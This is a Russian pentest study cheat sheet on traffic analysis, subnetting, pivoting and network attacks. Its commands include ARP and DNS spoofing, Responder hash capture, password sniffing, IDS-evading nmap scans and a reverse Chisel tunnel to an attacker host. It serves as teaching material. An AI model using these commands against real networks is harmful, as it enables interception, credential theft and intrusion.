📌 Шпаргалка #22

Ч.3: Практика — Wireshark, подсети, pivoting, атаки

✍️ pentestudy 📅 30.03.2026

🎯 Что это

Третья часть — практическое применение сетевых знаний в пентесте. Как анализировать трафик, как считать подсети, как двигаться по сети после первого взлома, и основные сетевые атаки.

📌 Wireshark — анализ трафика

Что это

Wireshark — графический анализатор сетевого трафика. Перехватывает все пакеты на интерфейсе и позволяет их изучать. Как рентген для сети — видишь всё, что происходит.

Аналогия: вскрываешь конверт и читаешь письмо. Wireshark позволяет "вскрыть" каждый сетевой пакет и увидеть что внутри.

Запуск и базовое использование

# Запуск с правами root (нужны для захвата)
sudo wireshark
 
# CLI-версия (для серверов без GUI)
sudo tshark -i eth0

Фильтры захвата (Capture Filters)

Устанавливаются до начала захвата — что перехватывать:

host ***.***.*.*          # Трафик к/от конкретного IP
port 80                    # Только порт 80
tcp port 443               # Только HTTPS
net 192.168.1.0/24         # Вся подсеть
not port 22                # Всё кроме SSH

Фильтры отображения (Display Filters)

Применяются к уже захваченному трафику — что показать:

ip.addr == ***.***.*.*           # Трафик к/от IP
tcp.port == 80                    # HTTP-трафик
http.request.method == "POST"     # Только POST-запросы
dns                                # Только DNS
tcp.flags.syn == 1                 # Только SYN-пакеты (начало соединений)
ftp                                # FTP-трафик (пароли открытым текстом!)
http.cookie                        # Запросы с куками
tcp.stream eq 5                    # Конкретный TCP-поток
frame contains "password"          # Пакеты содержащие слово "password"

Что искать в трафике

Пароли в открытом тексте:

  • FTP (порт 21) — команды USER и PASS видны
  • Telnet (порт 23) — всё видно посимвольно
  • HTTP (порт 80) — POST-формы с логинами
  • SMTP (порт 25) — аутентификация в Base64 (легко декодируется)

DNS-запросы:

  • Показывают какие домены посещает пользователь
  • Могут выявить DNS-туннели (подозрительно длинные поддомены)

TCP-рукопожатия:

  • SYN → SYN-ACK → ACK = успешное соединение
  • SYN → RST = порт закрыт
  • SYN → [тишина] = порт filtered (файрвол)

tcpdump — CLI-альтернатива

# Перехват всего на интерфейсе
sudo tcpdump -i eth0
 
# Только HTTP
sudo tcpdump -i eth0 port 80
 
# Сохранить в файл (потом открыть в Wireshark)
sudo tcpdump -i eth0 -w capture.pcap
 
# Показать содержимое пакетов (ASCII)
sudo tcpdump -i eth0 -A port 80
 
# Только трафик к конкретному хосту
sudo tcpdump -i eth0 host ***.***.*.*

⚡ Подсети (Subnetting) — расчёт сетей

Зачем пентестеру

Когда ты попал во внутреннюю сеть — нужно понять какие подсети существуют, сколько хостов в каждой, где искать серверы, где рабочие станции.

Быстрый расчёт

Маска /24 = 255.255.255.0 = 256 адресов, 254 хоста.

Формула: количество хостов = 2^(32-маска) - 2 (минус адрес сети и broadcast).

  • /24 → 2^8 - 2 = 254 хоста. Диапазон: .1 — .254
  • /25 → 2^7 - 2 = 126 хостов. Два сегмента: .1-.126 и .129-.254
  • /26 → 2^6 - 2 = 62 хоста. Четыре сегмента
  • /27 → 2^5 - 2 = 30 хостов
  • /28 → 2^4 - 2 = 14 хостов
  • /29 → 2^3 - 2 = 6 хостов
  • /30 → 2^2 - 2 = 2 хоста (point-to-point линки)
  • /32 → 1 хост (конкретный адрес)

CIDR-нотация — шпаргалка

  • 10.0.0.0/8 → 10.0.0.0 — 10.255.255.255 (16M хостов)
  • 172.16.0.0/12 → 172.16.0.0 — 172.31.255.255 (1M хостов)
  • 192.168.0.0/16 → 192.168.0.0 — 192.168.255.255 (65K хостов)
  • 192.168.1.0/24 → 192.168.1.0 — 192.168.1.255 (254 хоста)

Типичная корпоративная структура

10.0.0.0/8 — вся корпоративная сеть
├── 10.1.0.0/16 — головной офис
│   ├── 10.1.1.0/24 — серверы
│   ├── 10.1.2.0/24 — рабочие станции
│   ├── 10.1.3.0/24 — Wi-Fi
│   └── 10.1.10.0/24 — DMZ (веб-серверы)
├── 10.2.0.0/16 — филиал Москва
└── 10.3.0.0/16 — филиал Питер

Для пентестера: попал в подсеть рабочих станций (10.1.2.0/24) → сканируешь → находишь путь в серверную подсеть (10.1.1.0/24) → там DC и базы данных.

🔍 Pivoting — движение по сети

Что это

Pivoting — использование скомпрометированного хоста как точки входа для доступа к другим частям сети, которые не видны напрямую.

Аналогия: проник в здание через окно первого этажа. Теперь используешь лестницы и коридоры внутри здания, чтобы добраться до серверной на пятом этаже.

Сценарий

Интернет → [Файрвол] → DMZ (10.1.10.0/24) → [Файрвол] → Внутренняя сеть (10.1.1.0/24)
 
1. Взломал веб-сервер в DMZ (10.1.10.5)
2. С веб-сервера видна внутренняя сеть 10.1.1.0/24
3. Через SSH-туннель с веб-сервера сканируешь внутреннюю сеть
4. Находишь DC на 10.1.1.10
5. Эксплуатируешь DC через туннель

Инструменты для pivoting

SSH-туннель (самый простой):

# Проброс порта: доступ к внутреннему серверу через скомпрометированный хост
ssh -L 3306:10.1.1.20:3306 user@10.1.10.5
# Теперь localhost:3306 → 10.1.1.20:3306 (MySQL во внутренней сети)
 
# SOCKS-прокси: весь трафик через скомпрометированный хост
ssh -D 1080 user@10.1.10.5
# Настраиваешь proxychains → весь трафик идёт через 10.1.10.5
 
# Настройка proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT 10.1.1.0/24

Meterpreter (через Metasploit):

# В Meterpreter-сессии
run autoroute -s 10.1.1.0/24     # Добавить маршрут во внутреннюю сеть
background                         # Свернуть сессию
 
# Теперь можно сканировать внутреннюю сеть через Metasploit
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.1.1.0/24
run

Chisel (HTTP-туннели через файрвол):

# На атакующей машине (сервер)
./chisel server -p 8000 --reverse
 
# На скомпрометированном хосте (клиент)
./chisel client ATTACKER_IP:8000 R:socks
# Создаёт SOCKS-прокси на атакующей машине

⚡ Основные сетевые атаки

Man-in-the-Middle (MitM)

Атакующий встаёт между двумя устройствами и перехватывает/модифицирует трафик.

Нормально: Клиент ←→ Сервер
MitM:      Клиент ←→ Атакующий ←→ Сервер

Способы реализации:

  • ARP-спуфинг (в локальной сети)
  • DNS-спуфинг (подмена DNS-ответов)
  • Rogue Wi-Fi (поддельная точка доступа)
  • SSL-stripping (понижение HTTPS до HTTP)

Инструменты:

# ARP-спуфинг через arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward   # Включить пересылку пакетов
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP  # Притворяемся шлюзом для жертвы
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP  # Притворяемся жертвой для шлюза
 
# Или через bettercap
bettercap -iface eth0
> net.probe on
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on

DNS-спуфинг

Подмена DNS-ответов — жертва идёт на google.com, а попадает на твой сервер.

# Через bettercap
> set dns.spoof.domains target.com
> set dns.spoof.address ATTACKER_IP
> dns.spoof on

Password Sniffing

Перехват паролей из незашифрованного трафика:

# Через tcpdump — FTP-пароли
sudo tcpdump -i eth0 port 21 -A | grep -i "USER\|PASS"
 
# Через Wireshark — фильтр
ftp.request.command == "PASS"
http.request.method == "POST"

LLMNR/NBT-NS Poisoning

В Windows-сетях, если DNS не может разрешить имя — запрос идёт по LLMNR (порт 5355) и NBT-NS (порт 137) в broadcast. Атакующий отвечает на эти запросы и получает NTLM-хеш.

# Responder — перехват хешей в Windows-сетях
sudo responder -I eth0 -dwv
 
# Результат: NTLM-хеши пользователей, которые можно взломать офлайн

Port Scanning Techniques — подробнее

# SYN-скан (полуоткрытый) — быстрый и тихий
sudo nmap -sS TARGET_IP
 
# Connect-скан (полный TCP) — без root, но шумный
nmap -sT TARGET_IP
 
# UDP-скан — медленный, но важный
sudo nmap -sU TARGET_IP
 
# FIN-скан — обход простых файрволов
sudo nmap -sF TARGET_IP
 
# XMAS-скан — все флаги установлены
sudo nmap -sX TARGET_IP
 
# NULL-скан — никаких флагов
sudo nmap -sN TARGET_IP
 
# Idle/Zombie скан — самый скрытный
sudo nmap -sI zombie_host TARGET_IP
 
# Скан с фрагментацией (обход IDS)
sudo nmap -f TARGET_IP
 
# Скан с decoy (маскировка среди фейковых IP)
sudo nmap -D RND:10 TARGET_IP

🛡 Модель безопасности сети

Defense in Depth (Эшелонированная защита)

Это то, что ты видел на Shodan — слои защиты:

Интернет
│
├── Периметральный файрвол (iptables, pfSense)
│   ├── DMZ (веб-серверы)
│   │   ├── WAF (Web Application Firewall)
│   │   ├── Reverse Proxy (Caddy, Nginx)
│   │   └── Веб-приложение
│   │
│   └── Внутренний файрвол
│       ├── Рабочие станции
│       │   ├── Антивирус/EDR
│       │   └── Групповые политики
│       │
│       ├── Серверы
│       │   ├── Сегментация (VLAN)
│       │   ├── Контроль доступа
│       │   └── Мониторинг (SIEM)
│       │
│       └── Domain Controller
│           ├── Отдельный VLAN
│           ├── Минимум сервисов
│           └── Аудит всех действий

Модель Zero Trust

Современный подход: не доверяй ничему, проверяй всё. Даже если устройство внутри сети — оно должно аутентифицироваться и авторизоваться для каждого действия. Tailscale у тебя — это по сути Zero Trust: каждое устройство аутентифицируется индивидуально.

🔧 Сетевая разведка — полный чеклист

Пассивная разведка (без взаимодействия с целью)

# WHOIS
whois target.com
whois TARGET_IP
 
# DNS
dig target.com ANY
dig target.com MX
dig target.com NS
 
# Shodan
# Поиск: ip:TARGET_IP или org:"Company Name"
 
# Google Dorks
# site:target.com filetype:pdf
# inurl:admin site:target.com
 
# SSL-сертификаты (crt.sh)
# https://crt.sh/?q=%.target.com — все выданные сертификаты = поддомены
 
# theHarvester — email и поддомены
theHarvester -d target.com -b all

Активная разведка (взаимодействие с целью)

# Обнаружение хостов
nmap -sn TARGET_NETWORK/24
 
# Полное сканирование
sudo nmap -sV -O -sC -p- -A TARGET_IP
 
# UDP-сканирование (топ-порты)
sudo nmap -sU --top-ports 100 TARGET_IP
 
# Скрипты уязвимостей
nmap --script vuln TARGET_IP
 
# Веб-сканирование
nikto -h http://TARGET_IP
dirb http://TARGET_IP
gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirb/common.txt
 
# SMB-разведка
enum4linux -a TARGET_IP
smbclient -L //TARGET_IP -N
 
# SNMP
snmpwalk -v2c -c public TARGET_IP

🧠 Готовые комбо

Полная сетевая разведка цели:

whois → DNS → Shodan → crt.sh → theHarvester → nmap -sn (обнаружение) → nmap -sV -p- (сканирование) → nmap --script vuln (уязвимости)

MitM в локальной сети:

echo 1 > ip_forward → arpspoof (оба направления) → wireshark/tcpdump → перехват паролей → bettercap (DNS-спуфинг, SSL-strip)

Pivoting через скомпрометированный хост:

Первый шелл → ip a (узнать подсети) → ssh -D 1080 → proxychains nmap внутренняя_сеть → найти DC → эксплуатация через туннель

Анализ трафика:

Wireshark → фильтр ftp/http/telnet → поиск паролей → tcp.stream → восстановление файлов → dns → куда ходит жертва

⚠️ Важные моменты

  • Wireshark видит только трафик на твоём сегменте. В коммутируемой сети (switch) ты не увидишь чужой трафик без ARP-спуфинга или зеркалирования порта
  • HTTPS шифрует содержимое, но не скрывает адреса. В Wireshark ты увидишь куда идёт соединение (IP, порт, SNI в TLS), но не содержимое запроса
  • Подсети — это сегментация. Разные подсети не видят друг друга напрямую — нужен маршрутизатор. Это основа корпоративной безопасности и причина, почему pivoting необходим
  • Pivoting — ключевой навык. Реальные пентесты почти всегда требуют движения из DMZ во внутреннюю сеть через скомпрометированные хосты
  • ARP-спуфинг работает только в одном сегменте. Через маршрутизатор не проходит — это атака локальной сети
  • Responder в Windows-сетях — почти гарантированные хеши. LLMNR-отравление срабатывает потому что Windows по умолчанию отправляет эти запросы
  • UDP-сканирование медленное, но важное. DNS, SNMP, DHCP, TFTP — критические сервисы на UDP. Не забывай про -sU
  • Каждый скан оставляет следы. IDS/IPS логирует сканирование. В реальном пентесте — обсуди допустимый уровень "шума" с клиентом
Содержание
🎯 Что это 📌 Wireshark — анализ трафика Что это Запуск и базовое использование Фильтры захвата (Capture Filters) Фильтры отображения (Display Filters) Что искать в трафике tcpdump — CLI-альтернатива ⚡ Подсети (Subnetting) — расчёт сетей Зачем пентестеру Быстрый расчёт CIDR-нотация — шпаргалка Типичная корпоративная структура 🔍 Pivoting — движение по сети Что это Сценарий Инструменты для pivoting ⚡ Основные сетевые атаки Man-in-the-Middle (MitM) DNS-спуфинг Password Sniffing LLMNR/NBT-NS Poisoning Port Scanning Techniques — подробнее 🛡 Модель безопасности сети Defense in Depth (Эшелонированная защита) Модель Zero Trust 🔧 Сетевая разведка — полный чеклист Пассивная разведка (без взаимодействия с целью) Активная разведка (взаимодействие с целью) 🧠 Готовые комбо ⚠️ Важные моменты